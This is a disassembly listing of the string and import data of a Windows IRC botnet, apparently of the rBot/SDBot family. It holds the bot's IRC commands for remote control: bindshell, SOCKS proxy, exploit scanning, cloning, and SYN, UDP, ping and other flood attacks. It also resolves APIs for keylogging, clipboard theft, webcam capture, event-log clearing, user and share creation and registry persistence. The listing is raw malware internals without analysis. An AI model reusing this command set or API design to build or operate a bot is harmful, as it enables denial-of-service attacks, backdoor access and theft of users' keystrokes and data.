aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
aT:					; DATA XREF: sub_401ACD+1708o
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 10h
unk_42C2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 10h
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:00438004o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 4
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_437C20o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_42C3A4	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_42C3C4	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_42C3E8	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 10h
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_42C438	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 10h
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_42C480	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C4B4	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_42C4C4	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_42C4D4	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_42C4E4	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_42C4F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_42C500	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_42C50C	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_42C518	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 10h
dword_42C530	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_42C53C	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_42C554	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_42C564	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 10h
dword_42C580	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_42C590	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 4
dword_42C5AC	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_42C5B8	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_42C5CC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_42C5D8	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_42C5E4	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_42C5F0	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_42C600	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 10h
dword_42C620	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_42C62C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_42C640	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 4
dword_42C65C	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_42C678	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 10h
dword_42C6A0	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:00437C4Co
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_42C74C:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_42C790	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42C7C4	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42C7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42C82C	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42C854	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42C898	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42C8D4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42C8EC	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42C8F4	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42C910	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42C91C	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_42C920	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42C95C	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42C964	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_42C978	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42C99C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42C9F0	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42CA5C:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42CA60:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42CA64	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
